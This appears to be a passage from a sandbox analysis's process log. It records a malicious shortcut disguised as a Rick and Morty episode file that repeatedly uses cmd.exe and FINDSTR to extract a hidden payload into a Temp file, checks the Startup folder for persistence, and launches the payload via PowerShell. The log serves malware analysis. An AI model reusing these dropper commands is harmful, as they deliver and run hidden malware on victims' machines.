        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        402⤵
        
        PID:5668
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0461" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        403⤵
        
        PID:4124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        403⤵
        
        PID:460
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        404⤵
        
        PID:4752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0528" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        405⤵
        
        PID:3168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        405⤵
        
        PID:4736
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        406⤵
        
        PID:5084
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0597" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        407⤵
        
        PID:3104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        407⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3124
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        408⤵
        
        PID:2352
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0659" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        409⤵
        
        PID:6112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        409⤵
        
        PID:400
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        410⤵
        
        PID:5972
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0739" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        411⤵
        
        PID:2716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        411⤵
        
        PID:2276
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        412⤵
        
        PID:3092
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0806" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        413⤵
        
        PID:1496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        413⤵
        
        PID:5956
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        414⤵
        
        PID:4832
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0872" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        415⤵
        
        PID:1328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        415⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5728
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        416⤵
        
        PID:1396
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0933" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        417⤵
        
        PID:3088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        417⤵
        
        PID:560
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        418⤵
        
        PID:544
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0995" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        419⤵
        
        PID:5532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        419⤵
        
        PID:3996
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        420⤵
        
        PID:4580
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0051" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        421⤵
        
        PID:1020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        421⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3892
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        422⤵
        
        PID:6124
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0114" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        423⤵
        
        PID:4220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        423⤵
        
        PID:1580
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        424⤵
        
        PID:4572
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0169" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        425⤵
        
        PID:1944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        425⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4292
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        426⤵
        
        PID:5760
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0228" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        427⤵
        
        PID:2176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        427⤵
        
        PID:5872
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        428⤵
        
        PID:2432
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0322" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        429⤵
        
        PID:4816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        429⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3808
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        430⤵
        
        PID:5620
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0409" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        431⤵
        
        PID:5608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        431⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4524
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        432⤵
        
        PID:4956
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0490" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        433⤵
        
        PID:5700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        433⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4732
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        434⤵
        
        PID:1832
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0555" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        435⤵
        
        PID:5964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        435⤵
        
        PID:2228
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        436⤵
        
        PID:5276
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0619" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        437⤵
        
        PID:5920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        437⤵
        
        PID:4640
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        438⤵
        
        PID:3964
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0689" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        439⤵
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        439⤵
        
        PID:5464
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        440⤵
        
        PID:2968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0750" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        441⤵
        
        PID:1328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        441⤵
        
        PID:3052
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        442⤵
        
        PID:3168
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0826" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        443⤵
        
        PID:4060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        443⤵
        
        PID:4444
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        444⤵
        
        PID:2736
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0905" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        445⤵
        
        PID:5844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        445⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1020
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        446⤵
        
        PID:4988
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0976" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        447⤵
        
        PID:2740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        447⤵
        
        PID:2592
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        448⤵
        
        PID:4204
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0064" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        449⤵
        
        PID:2428
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        449⤵
        
        PID:3088
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        450⤵
        
        PID:5820
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0142" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        451⤵
        
        PID:4536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        451⤵
        
        PID:4052
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        452⤵
        
        PID:2436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0245" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        453⤵
        
        PID:5832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        453⤵
        
        PID:1100
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        454⤵
        
        PID:4500
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0339" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        455⤵
        
        PID:4220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        455⤵
        
        PID:1420
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        456⤵
        
        PID:3244
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0422" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        457⤵
        
        PID:640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        457⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3972
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        458⤵
        
        PID:2196
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0498" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        459⤵
        
        PID:4620
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        459⤵
        
        PID:2176
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        460⤵
        
        PID:5976
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0570" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        461⤵
        
        PID:844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        461⤵
        
        PID:6128
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        462⤵
        
        PID:2708
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0650" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        463⤵
        
        PID:604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        463⤵
        
        PID:3580
        
        C:\Windows\SYSTEM32\cmd.EXE
        
